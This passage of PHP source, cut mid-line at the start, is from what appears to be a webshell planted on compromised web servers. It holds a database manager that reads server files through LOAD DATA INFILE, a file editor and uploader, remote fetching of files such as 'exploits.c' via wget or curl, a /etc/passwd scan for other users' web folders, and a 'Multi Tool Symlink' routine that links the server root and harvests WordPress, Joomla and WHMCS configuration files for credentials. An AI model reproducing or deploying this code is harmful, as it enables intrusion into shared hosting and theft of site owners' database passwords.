href=\\\"\".\$sql_surl.\"sql_x=query&sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_ls=\".\$sql_tbl_ls.\"&sql_tbl_le=\".\$sql_tbl_le.\"&sql_query=\".urlencode(\"DELETE FROM `\".\$sql_tbl.\"` WHERE\".\$w.\" LIMIT 1;\").\"\\\">Delete</a>\";\n echo \" | \";\n echo \"<a href=\\\"\".\$sql_surl.\"sql_tbl_x=insert&sql_tbl=\".urlencode(\$sql_tbl).\"&sql_tbl_ls=\".\$sql_tbl_ls.\"&sql_tbl_le=\".\$sql_tbl_le.\"&sql_tbl_insert_q=\".urlencode(\$w).\"\\\">Edit</a> \";\n echo \"</td>\";\n echo \"</tr>\";\n}\nmysql_free_result(\$result);\necho \"</table><hr size=\\\"1\\\" noshade><p align=\\\"left\\\"><input type=\\\"checkbox\\\"/> <select name=\\\"sql_x\\\">\";\necho \"<option value=\\\"\\\">With selected:</option>\";\necho \"<option value=\\\"deleterow\\\">Delete</option>\";\necho \"</select> <input class=\\\"inputzbut\\\" type=\\\"submit\\\" value=\\\"Confirm\\\"></form></p>\";\n}\n }\n else {\n\$result = mysql_query(\"SHOW TABLE STATUS\", \$sql_sock);\nif (!\$result) { echo mysql_smarterror(); }\nelse {\necho '<form method=\"POST\">\n<table class=\"tub\">\n<tr><th><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>';\n \$i = 0;\n \$tsize = \$trows = 0;\n while (\$row = mysql_fetch_array(\$result, MYSQL_ASSOC)) {\n\$tsize += \$row[\"Data_length\"];\n\$trows += \$row[\"Rows\"];\n\$size = view_size(\$row[\"Data_length\"]);\necho'<tr>\n<td align=\"center\" style=\"padding:0px;\"><input type=\"checkbox\" name=\"boxtbl[]\" value=\"'.\$row[\"Name\"].'\"></td>\n<td><a href=\"'.\$sql_surl.'sql_tbl='.urlencode(\$row[\"Name\"]).'\"><b>'.\$row[\"Name\"].'</b></a></td>\n<td>'.\$row[\"Rows\"].'</td><td>'.\$row[\"Engine\"].'</td><td>'.\$row[\"Create_time\"].'</td><td>'.\$row[\"Update_time\"].'</td><td>'.\$size.'</td>\n<td><a href=\"'.\$sql_surl.'sql_x=query&sql_query='.urlencode(\"DELETE FROM `\".\$row[\"Name\"].\"`\").'\">Empty</a> | <a href=\"'.\$sql_surl.'sql_x=query&sql_query='.urlencode(\"DROP TABLE `\".\$row[\"Name\"].\"`\").'\">Drop</a> | <a href=\"'.\$sql_surl.'sql_tbl_x=insert&sql_tbl='.\$row[\"Name\"].'\">Insert</a></td>\n</tr>';\n\$i++;\n }\n echo \"\\t\\t<tr>\\n\".\n\"\\t\\t<th>+</th><th>\$i table(s)</th><th>\$trows</th><th>\$row[1]</th><th>\$row[10]</th><th>\$row[11]</th><th>\".view_size(\$tsize).\"</th><th></th>\\n\";\necho'</tr>\n</table>\n<div align=\"right\">\n<select class=\"inputz\" name=\"sql_x\">\n<option value=\"\">With selected:</option>\n<option value=\"tbldrop\">Drop</option>\n<option value=\"tblempty\">Empty</option>\";\n<option value=\"tbldump\">Dump</option>\";\n<option value=\"tblcheck\">Check table</option>\";\n<option value=\"tbloptimize\">Optimize table</option>\";\n<option value=\"tblrepair\">Repair table</option>\";\n<option value=\"tblanalyze\">Analyze table</option>\";\n</select>\n<input class=\"inputzbut\" type=\"submit\" value=\"Confirm\">\n</div>\n</form>';\n mysql_free_result(\$result);\n}\n }\n}\n }\n}\nelse {\n\$xs = array(\"\",\"newdb\",\"serverstatus\",\"servervars\",\"processes\",\"getfile\");\nif (in_array(\$sql_x,\$xs)) {\necho '<table class=\"tab\">\n<tr>\n<td style=\"border:1px solid #333333;padding:3px;\"><b>Create new DB:</b>\n<form action=\"'.\$surl.'\">\n<input type=\"hidden\" name=\"x\" value=\"sql\">\n<input type=\"hidden\" name=\"sql_x\" value=\"newdb\">\n<input type=\"hidden\" name=\"sql_login\" value=\"'.htmlspecialchars(\$sql_login).'\">\n<input type=\"hidden\" name=\"sql_passwd\" value=\"'.htmlspecialchars(\$sql_passwd).'\">\n<input type=\"hidden\" name=\"sql_server\" value=\"'.htmlspecialchars(\$sql_server).'\">\n<input type=\"hidden\" name=\"sql_port\" value=\"'.htmlspecialchars(\$sql_port).'\">\n<input class=\"inputz\" type=\"text\" name=\"sql_newdb\" size=\"20\">\n<input class=\"inputzbut\" type=\"submit\" value=\"Create\">\n</form>\n</td>\n<td style=\"border:1px solid #333333;padding:3px;\"><b>View File:</b>\n<form action=\"'.\$surl.'\">\n<input type=\"hidden\" name=\"x\" value=\"sql\">\n<input type=\"hidden\" name=\"sql_x\" value=\"getfile\">\n<input type=\"hidden\" name=\"sql_login\" value=\"'.htmlspecialchars(\$sql_login).'\">\n<input type=\"hidden\" name=\"sql_passwd\" value=\"'.htmlspecialchars(\$sql_passwd).'\">\n<input type=\"hidden\" name=\"sql_server\" value=\"'.htmlspecialchars(\$sql_server).'\">\n<input type=\"hidden\" name=\"sql_port\" value=\"'.htmlspecialchars(\$sql_port).'\">\n<input class=\"inputz\" type=\"text\" name=\"sql_getfile\" size=\"30\" value=\"'.htmlspecialchars(\$sql_getfile).'\">\n<input class=\"inputzbut\" type=\"submit\" value=\"Get\">\n</form>\n</td>\n</tr>\n</table>';\n}\nif (!empty(\$sql_x)) {\n echo \"<hr size=\\\"1\\\" noshade>\";\n if (\$sql_x == \"newdb\") {\necho \"<b>\";\nif ((mysql_create_db (\$sql_newdb)) and (!empty(\$sql_newdb))) {echo \"DB \\\"\".htmlspecialchars(\$sql_newdb).\"\\\" has been created with success!</b><br>\";}\nelse {echo \"Can't create DB \\\"\".htmlspecialchars(\$sql_newdb).\"\\\".<br>Reason:</b> \".mysql_smarterror();}\n }\n if (\$sql_x == \"serverstatus\") {\n\$result = mysql_query(\"SHOW STATUS\", \$sql_sock);\necho \"<center><b>Server status variables:</b><br><br>\";\necho \"<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>\";\nwhile (\$row = mysql_fetch_array(\$result, MYSQL_NUM)) {echo \"<tr><td>\".\$row[0].\"</td><td>\".\$row[1].\"</td></tr>\";}\necho \"</table></center>\";\nmysql_free_result(\$result);\n }\n if (\$sql_x == \"servervars\") {\n\$result = mysql_query(\"SHOW VARIABLES\", \$sql_sock);\necho \"<center><b>Server variables:</b><br><br>\";\necho \"<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>\";\nwhile (\$row = mysql_fetch_array(\$result, MYSQL_NUM)) {echo \"<tr><td>\".\$row[0].\"</td><td>\".\$row[1].\"</td></tr>\";}\necho \"</table>\";\nmysql_free_result(\$result);\n }\n if (\$sql_x == \"processes\") {\nif (!empty(\$kill)) {\n \$query = \"KILL \".\$kill.\";\";\n \$result = mysql_query(\$query, \$sql_sock);\n echo \"<b>Process #\".\$kill.\" was killed.</b>\";\n}\n\$result = mysql_query(\"SHOW PROCESSLIST\", \$sql_sock);\necho \"<center><b>Processes:</b><br><br>\";\necho \"<table class='tub'><th><b>ID</b></th><th><b>USER</b></th><th><b>HOST</b></th><th><b>DB</b></th><th><b>COMMAND</b></th><th><b>TIME</b></th><th><b>STATE</b></th><th><b>INFO</b></th><th><b>Action</b></th></tr>\";\nwhile (\$row = mysql_fetch_array(\$result, MYSQL_NUM)) { echo \"<tr><td>\".\$row[0].\"</td><td>\".\$row[1].\"</td><td>\".\$row[2].\"</td><td>\".\$row[3].\"</td><td>\".\$row[4].\"</td><td>\".\$row[5].\"</td><td>\".\$row[6].\"</td><td>\".\$row[7].\"</td><td><a href=\\\"\".\$sql_surl.\"sql_x=processes&kill=\".\$row[0].\"\\\"><u>Kill</u></a></td></tr>\";}\necho \"</table>\";\nmysql_free_result(\$result);\n }\n if (\$sql_x == \"getfile\") {\n\$tmpdb = \$sql_login.\"_tmpdb\";\n\$select = mysql_select_db(\$tmpdb);\nif (!\$select) {mysql_create_db(\$tmpdb); \$select = mysql_select_db(\$tmpdb); \$created = !!\$select;}\nif (\$select) {\n \$created = FALSE;\n mysql_query(\"CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );\");\n mysql_query(\"LOAD DATA INFILE \\\"\".addslashes(\$sql_getfile).\"\\\" INTO TABLE tmp_file\");\n \$result = mysql_query(\"SELECT * FROM tmp_file;\");\n if (!\$result) {echo \"<b>Error in reading file (permision denied)!</b>\";}\n else {\nfor (\$i=0;\$i<mysql_num_fields(\$result);\$i++) { \$name = mysql_field_name(\$result,\$i); }\n\$f = \"\";\nwhile (\$row = mysql_fetch_array(\$result, MYSQL_ASSOC)) { \$f .= join (\"\\r\\n\",\$row); }\nif (empty(\$f)) {echo \"<b>File \\\"\".\$sql_getfile.\"\\\" does not exists or empty!</b><br>\";}\nelse {echo \"<b>File \\\"\".\$sql_getfile.\"\\\":</b><br>\".nl2br(htmlspecialchars(\$f)).\"<br>\";}\nmysql_free_result(\$result);\nmysql_query(\"DROP TABLE tmp_file;\");\n }\n}\nmysql_drop_db(\$tmpdb);\n }\n}\n }\n}\necho '</td></tr>';\nif (\$sql_sock) {\n \$affected = @mysql_affected_rows(\$sql_sock);\n if ((!is_numeric(\$affected)) or (\$affected < 0)) { \$affected = 0; }\n echo \"\\t<tr><th colspan=2>Affected rows: \$affected</th></tr>\";\n}\necho '</table></center>';\n }\necho '</form>';\n}\n}\n//*--------------------------------[ batas ]--------------------------------*//\n\n\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'phpinfo')){ @ini_set('output_buffering',0); \n @ob_start();\n @eval(\"phpinfo();\");\n \$buff = @ob_get_contents();\n @ob_end_clean(); \n \$awal = strpos(\$buff,\"<body>\")+6;\n \$akhir = strpos(\$buff,\"</body>\");\n echo \"<div class=\\\"phpinfo\\\">\".substr(\$buff,\$awal,\$akhir-\$awal).\"</div>\";\n}\nelseif(isset(\$_GET['view']) && (\$_GET['view'] != \"\")){\n if(is_file(\$_GET['view'])){ \n if(!isset(\$file)) \$file = magicboom(\$_GET['view']);\n if(!\$win && \$posix){\n \$name=@posix_getpwuid(@fileowner(\$folder));\n \$group=@posix_getgrgid(@filegroup(\$folder));\n \$owner = \$name['name'].\"<span class=\\\"gaya\\\"> : </span>\".\$group['name'];\n }\n else {\n \$owner = \$user;\n }\n \$filn = basename(\$file);\n echo \"<table style=\\\"margin:6px 0 0 2px;line-height:20px;\\\">\n <tr><td>Filename</td><td><span id=\\\"\".clearspace(\$filn).\"_link\\\">\".\$file.\"</span>\n <form action=\\\"?y=\".\$pwd.\"&view=\$file\\\" method=\\\"post\\\" id=\\\"\".clearspace(\$filn).\"_form\\\" class=\\\"sembunyi\\\" style=\\\"margin:0;padding:0;\\\">\n <input type=\\\"hidden\\\" name=\\\"oldname\\\" value=\\\"\".\$filn.\"\\\" style=\\\"margin:0;padding:0;\\\" />\n <input class=\\\"inputz\\\" style=\\\"width:200px;\\\" type=\\\"text\\\" name=\\\"newname\\\" value=\\\"\".\$filn.\"\\\" />\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Rename\\\" value=\\\"Rename\\\" />\n <input class=\\\"inputzbut\\\" type=\\\"submit\\\" name=\\\"Cancel\\\" value=\\\"Cancel\\\" onclick=\\\"tukar('\".clearspace(\$filn).\"_link','\".clearspace(\$filn).\"_form');\\\" />\n </form>\n </td></tr>\n <tr><td>Size</td><td>\".ukuran(\$file).\"</td></tr>\n <tr><td>Permission</td><td>\".get_perms(\$file).\"</td></tr>\n <tr><td>Owner</td><td>\".\$owner.\"</td></tr>\n <tr><td>Create time</td><td>\".date(\"d-M-Y H:i\",@filectime(\$file)).\"</td></tr>\n <tr><td>Last modified</td><td>\".date(\"d-M-Y H:i\",@filemtime(\$file)).\"</td></tr>\n <tr><td>Last accessed</td><td>\".date(\"d-M-Y H:i\",@fileatime(\$file)).\"</td></tr>\n <tr><td>Actions</td><td><a href=\\\"?y=\$pwd&edit=\$file\\\">Edit</a> | <a href=\\\"javascript:tukar('\".clearspace(\$filn).\"_link','\".clearspace(\$filn).\"_form');\\\">Rename</a> | <a href=\\\"?y=\$pwd&delete=\$file\\\">Delete</a> | <a href=\\\"?y=\$pwd&dl=\$file\\\">Download</a> (<a href=\\\"?y=\$pwd&dlgzip=\$file\\\">GZip</a>)</td></tr>\n <tr><td>View</td><td><a href=\\\"?y=\".\$pwd.\"&view=\".\$file.\"\\\">Text</a> | <a href=\\\"?y=\".\$pwd.\"&view=\".\$file.\"&type=code\\\">Code</a> | <a href=\\\"?y=\".\$pwd.\"&view=\".\$file.\"&type=image\\\">Image</a></td></tr>\n </table>\n \";\n if(isset(\$_GET['type']) && (\$_GET['type']=='image')){\n echo \"<div style=\\\"text-align:center;margin:8px;\\\"><img src=\\\"?y=\".\$pwd.\"&img=\".\$filn.\"\\\"></div>\";\n }\n elseif(isset(\$_GET['type']) && (\$_GET['type']=='code')){\n echo \"<div class=\\\"viewfile\\\">\";\n \$file = wordwrap(@file_get_contents(\$file),\"240\",\"\\n\");\n @highlight_string(\$file);\n echo \"</div>\";\n }\n else {\n echo \"<div class=\\\"viewfile\\\">\";\n echo nl2br(htmlentities((@file_get_contents(\$file))));\n echo \"</div>\";\n }\n }\n elseif(is_dir(\$_GET['view'])){\n echo showdir(\$pwd,\$prompt);\n }\n \n}\nelseif(isset(\$_GET['edit']) && (\$_GET['edit'] != \"\")){@ini_set('output_buffering',0); \n\n if(isset(\$_POST['save'])){\n \$file = \$_POST['saveas'];\n \$content = magicboom(\$_POST['content']);\n if(\$filez = @fopen(\$file,\"w\")){\n \$time = date(\"d-M-Y H:i\",time());\n if(@fwrite(\$filez,\$content)) \$msg = \"file saved <span class=\\\"gaya\\\">@</span> \".\$time;\n else \$msg = \"failed to save\";\n @fclose(\$filez);\n }\n else \$msg = \"permission denied\";\n }\n if(!isset(\$file)) \$file = \$_GET['edit'];\n if(\$filez = @fopen(\$file,\"r\")){\n \$content = \"\";\n while(!feof(\$filez)){\n \$content .= htmlentities(str_replace(\"''\",\"'\",fgets(\$filez)));\n }\n @fclose(\$filez);\n }\n \n?>\n<form action=\"?y=<?=\$pwd; ?>&edit=<?=\$file; ?>\" method=\"post\">\n<table class=\"cmdbox\">\n<tr><td colspan=\"2\">\n<textarea class=\"output\" name=\"content\">\n<?=\$content; ?>\n</textarea>\n<tr><td colspan=\"2\">Save as <input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"saveas\" style=\"width:60%;\" value=\"<?=\$file; ?>\" /><input class=\"inputzbut\" type=\"submit\" value=\"Save !\" name=\"save\" style=\"width:12%;\" />\n <?=\$msg; ?></td></tr>\n</table>\n</form>\n<?php\n}\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'logout'))\n{ \n?>\n<form action=\"?y=<?=\$pwd; ?>&x=logout\" method=\"post\">\n\n<?php\n unset(\$_SESSION[md5(\$_SERVER['HTTP_HOST'])]); \n echo \"<br /><br /><center>Byee !!!!!!</center>\"; \n}\n\n//////////////////////////////////////////////////////////////////\n///////////////////////////////////////////////////////////////////////////////\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'upload')){ @ini_set('output_buffering',0); \necho \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>Uploader</font></b></center></td></tr></table>\n\";\nif(isset(\$_POST['uploadcomp'])){\n if(is_uploaded_file(\$_FILES['file']['tmp_name'])){\n \$path = magicboom(\$_POST['path']);\n \$fname = \$_FILES['file']['name'];\n \$tmp_name = \$_FILES['file']['tmp_name'];\n \$pindah = \$path.\$fname;\n \$stat = @move_uploaded_file(\$tmp_name,\$pindah); \n if (\$stat) {\n \$msg = \"file uploaded to \$pindah\";\n }\n else \$msg = \"failed to upload \$fname\";\n }\n else \$msg = \"failed to upload \$fname\";\n}\nelseif(isset(\$_POST['uploadurl'])){@ini_set('output_buffering',0); \n \$pilihan = trim(\$_POST['pilihan']);\n \$wurl = trim(\$_POST['wurl']);\n \$path = magicboom(\$_POST['path']);\n \$namafile = download(\$pilihan,\$wurl);\n \$pindah = \$path.\$namafile;\n if(is_file(\$pindah)) {\n \$msg = \"file uploaded to \$pindah\";\n }\n else \$msg = \"failed to upload \$namafile\";\n\n}\n?>\n<form action=\"?y=<?=\$pwd; ?>&x=upload\" enctype=\"multipart/form-data\" method=\"post\"><table class=\"tabnet\" style=\"width:320px;padding:0 1px;\"><tr><th colspan=\"2\"><b>Upload From Computer</b></th></tr><tr><td colspan=\"2\"><p style=\"text-align:center;\"><input style=\"color:#000000;\" type=\"file\" name=\"file\" /><input type=\"submit\" name=\"uploadcomp\" class=\"inputzbut\" value=\"Go\" style=\"width:80px;\"></p></td>\n<tr><td colspan=\"2\"><input type=\"text\" class=\"inputz\" style=\"width:99%;\" name=\"path\" value=\"<?=\$pwd; ?>\" /></td></tr>\n</tr></table></form><table class=\"tabnet\" style=\"width:320px;padding:0 1px;\"><tr><th colspan=\"2\"><b>Upload From URL</b></th></tr><tr><td colspan=\"2\"><form method=\"post\" style=\"margin:0;padding:0;\" action=\"?y=<?=\$pwd; ?>&x=upload\">\n<table><tr><td>Url</td><td><input class=\"inputz\" type=\"text\" name=\"wurl\" style=\"width:250px;\" value=\"http://www.some-code/exploits.c\"></td></tr>\n<tr><td colspan=\"2\"><input type=\"text\" class=\"inputz\" style=\"width:99%;\" name=\"path\" value=\"<?=\$pwd; ?>\" /></td></tr>\n<tr><td><select size=\"1\" class=\"inputz\" name=\"pilihan\"><option value=\"wwget\">Wget</option><option value=\"wlynx\">Lynx</option><option value=\"wfread\">Fread</option><option value=\"wfetch\">Fetch</option><option value=\"wlinks\">Links</option><option value=\"wget\">Get</option><option value=\"wcurl\">Curl</option>\n</select></td><td colspan=\"2\"><input type=\"submit\" name=\"uploadurl\" class=\"inputzbut\" value=\"Go\" style=\"width:246px;\"></td></tr></form></table></td>\n</tr></table><div style=\"text-align:center;margin:2px;\"><?=\$msg; ?></div>\n<?php }\n////////////////////////////////////////////////////////////////////////////////////\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'jumping')){ @ini_set('output_buffering',0); \necho \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>Jumping</font></b></center></td></tr></table>\n\";\n?>\n <form action=\"?y=<?=\$pwd; ?>&x=jumping\" method=\"post\">\n <?php\n echo \"<table class=\\\"cmdbox\\\"><tr><td colspan=\\\"2\\\">\"; \n(\$sm = ini_get('safe_mode') == 0) ? \n\$sm = 'off': die(\"<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink> : Safe_mode = On </b></td></tr></table>\");\n \nset_time_limit(0);\necho \"<table class=\\\"cmdbox\\\"><tr><td colspan=\\\"2\\\">\"; \n@\$passwd = fopen('/etc/passwd','r'); \nif (!\$passwd) { die (\"<b><blink><font style='color:#ff0000'>[-] ERROR</font></blink> : I Can't Read [ /etc/passwd ]</b></td></tr></table>\n<br><br><br><br><center><div class=\\\"info\\\"><b></div> \n<br><br><div class=\\\"jaya\\\"> © \".date('Y',time()).\" Security Exploded </b></div></center>\"); }\n\$pub = array(); \n\$users = array(); \n\$conf = array(); \n\$i = 0; \n\nwhile(!feof(\$passwd)){ \n\$str = fgets(\$passwd); \nif (\$i > 100){ \$pos = strpos(\$str,':'); \n\$username = substr(\$str,0,\$pos); \n\$dirz = '/home/'.\$username.'/public_html/'; \nif ((\$username != '')){ if (is_readable(\$dirz)){ array_push(\$users,\$username); \narray_push(\$pub,\$dirz); } } } \$i++; } \nforeach (\$users as \$user){ \necho '\n<table><tr><td>[Found !]</td>\n <td><a href=\"?y=/home/'.\$user.'/public_html\">/home/'.\$user.'/public_html/</a><td></tr>'; } \n echo \"</table>\";\n } \n\n\n/////////////////////////////////////////////////////////////////////////////////////\nelseif(isset(\$_GET['x']) && (\$_GET['x'] == 'symlink'))\n{ @ini_set('output_buffering',0); \necho \"\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n <tr>\n <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n <center><b><font size=5 style=italic color=#00ff00>Multi Tool Symlink</font></b></center></td></tr></table>\n\";\n?>\n<form action=\"?y=<?=\$pwd; ?>&x=symlink\" method=\"post\">\n<form method='post'><center><table class='tabnet'><tr><th colspan='5'><b>Multi Tool Symlink</b></th></tr><tr><th><b>Manual Symlink</b></th><th><b>Auto Symlink</b></th><th><b>Domain Viewer</b></th></tr><tr><td><input class='inputzbut' type='submit'name='symlinkr' value=\"Manual Symlink\" /></td><td><input class='inputzbut' type='submit'name='symlinks' value=\"Auto Symlink\" /></td><td><input class='inputzbut' type='submit' name='domain' value=\"Domain Viewer\" /></td></tr></table></center></form><br><hr><br><br>\n<?php \n\n#==================[ Multi Tool Symlink ]==================#\n\nif(isset(\$_POST['domain']))\n{\n ?>\n <form action=\"?y=<?=\$pwd; ?>&x=dv\" method=\"post\">\n <center><h2>[ Domain Viewer by ]<br>Notes: If Blank(No Domain) That Mean Not Work Use Domain Viewer, You Can Use Auto Symlink Server</center><br><br>\n <?php\n function openBaseDir()\n{\n\$openBaseDir = ini_get(\"open_basedir\");\nif (!\$openBaseDir)\n {\n \$openBaseDir = '<font color=\"green\">OFF</font>';\n }\n else \n {\n \$openBaseDir = '<font color=\"red\">ON</font>';\n } \n return \$openBaseDir;\n}\n\n\necho '\n <table width=\"95%\" cellspacing=\"0\" cellpadding=\"0\" class=\"td1\" >\n <td height=\"100\" align=\"left\" class=\"td1\">';\n \$pg = basename(__FILE__);\n \$safe_mode = @ini_get('safe_mode');\n \$dir = @getcwd();\n ////////////////////////////////////////////////////\n // LET'S PLAY ~\n ##.htaccess\n@mkdir('explodedsym',0777);\n@symlink(\"/\",\"explodedsym/root\");\n\$htaccss = \"Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any\";\n \nfile_put_contents(\"explodedsym/.htaccess\",\$htaccss);\n\$etc = file_get_contents(\"/etc/passwd\");\n\$etcz = explode(\"\\n\",\$etc);\n\n\n##Symlink to the ROOT :p\nforeach(\$etcz as \$etz){\n\$etcc = explode(\":\",\$etz);\nerror_reporting(0);\n\n\$current_dir = posix_getcwd();\n\$dir = explode(\"/\",\$current_dir);\n\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/wp-config.php',\"explodedsym/\".\$etcc[0].'-WordPress.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/blog/wp-config.php',\"explodedsym/\".\$etcc[0].'-WordPress.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/wp/wp-config.php',\"explodedsym/\".\$etcc[0].'-WordPress.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/site/wp-config.php',\"explodedsym/\".\$etcc[0].'-WordPress.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/config.php',\"explodedsym/\".\$etcc[0].'-PhpBB.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/includes/config.php',\"explodedsym/\".\$etcc[0].'-vBulletin.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/configuration.php',\"explodedsym/\".\$etcc[0].'-Joomla.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/web/configuration.php',\"explodedsym/\".\$etcc[0].'-Joomla.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/joomla/configuration.php',\"explodedsym/\".\$etcc[0].'-Joomla.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/site/configuration.php',\"explodedsym/\".\$etcc[0].'-Joomla.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/conf_global.php',\"explodedsym/\".\$etcc[0].'-IPB.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/inc/config.php',\"explodedsym/\".\$etcc[0].'-MyBB.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/Settings.php',\"explodedsym/\".\$etcc[0].'-SMF.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/sites/default/settings.php',\"explodedsym/\".\$etcc[0].'-Drupal.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/e107_config.php',\"explodedsym/\".\$etcc[0].'-e107.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/datas/config.php',\"explodedsym/\".\$etcc[0].'-Seditio.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/includes/configure.php',\"explodedsym/\".\$etcc[0].'-osCommerce.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/client/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/clientes/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/support/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/supportes/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/whmcs/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/domain/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/hosting/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/whmc/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/billing/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/portal/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/order/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/clientarea/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\nsymlink('/'.\$dir[1].'/'.\$etcc[0].'/'.\$dir[3].'/domains/configuration.php',\"explodedsym/\".\$etcc[0].'-WHMCS.txt');\n}\n#############################\n if(is_readable(\"/var/named\")){\n echo'<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">';\n echo'<tr><td><center><b>SITE</b></center></td><td>\n <center><b>USER</b></center></td>\n <td></center><b>SYMLINK</b></center></td>';\n \$list = scandir(\"/var/named\");\n foreach(\$list as \$domain){\n if(strpos(\$domain,\".db\")){\n \$i += 1;\n \$domain = str_replace('.db','',\$domain);\n \$owner = posix_getpwuid(fileowner(\"/etc/valiases/\".\$domain));\n\n echo \"<tr><td class='td1'><a href='http://\".\$domain.\" '>\".\$domain.\"</a></td>\n <td class='td1'><center><font color='red'>\".\$owner['name'].\"</font></center></td>\n <td class='td1'><center><a href='explodedsym/root\".\$owner['dir'].\"/\".\$dir[3].\"' target='_blank'>DIR</a></center></td>\";\n }\n }\n echo \"<center>Total Domains Found: \".\$i.\"</center><br />\";\n }else{ \n echo \"<tr><td class='td1'>can't read [ /var/named ]</td><tr>\"; }\n\nbreak;\n\n##################################\nerror_reporting(0);\n\$etc = file_get_contents(\"/etc/passwd\");\n\$etcz = explode(\"\\n\",\$etc);\nif(is_readable(\"/etc/passwd\")){\n\necho'<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">';\necho'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>SYMLINK</b></center></td>';\n\n\$list = scandir(\"/var/named\");\n\nforeach(\$etcz as \$etz){\n\$etcc = explode(\":\",\$etz);\n\nforeach(\$list as \$domain){\nif(strpos(\$domain,\".db\")){\n\$domain = str_replace('.db','',\$domain);\n\$owner = posix_getpwuid(fileowner(\"/etc/valiases/\".\$domain));\nif(\$owner['name'] == \$etcc[0])\n{\n\$i += 1;\necho \"<tr><td class='td1'><a href='http://\".\$domain.\" '>\".\$domain.\"</a></td><center>\n<td class='td1'><font color='red'>\".\$owner['name'].\"</font></center></td>\n<td class='td1'><center><a href='explodedsym/root\".\$owner['dir'].\"/\".\$dir[3].\"' target='_blank'>DIR</a></center></td>\";\n}}}}\necho \"<center>Total Domains Found: \".\$i.\"</center><br />\";}\n\nbreak;\n###############################\nif(is_readable(\"/etc/named.conf\")){\necho'<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" 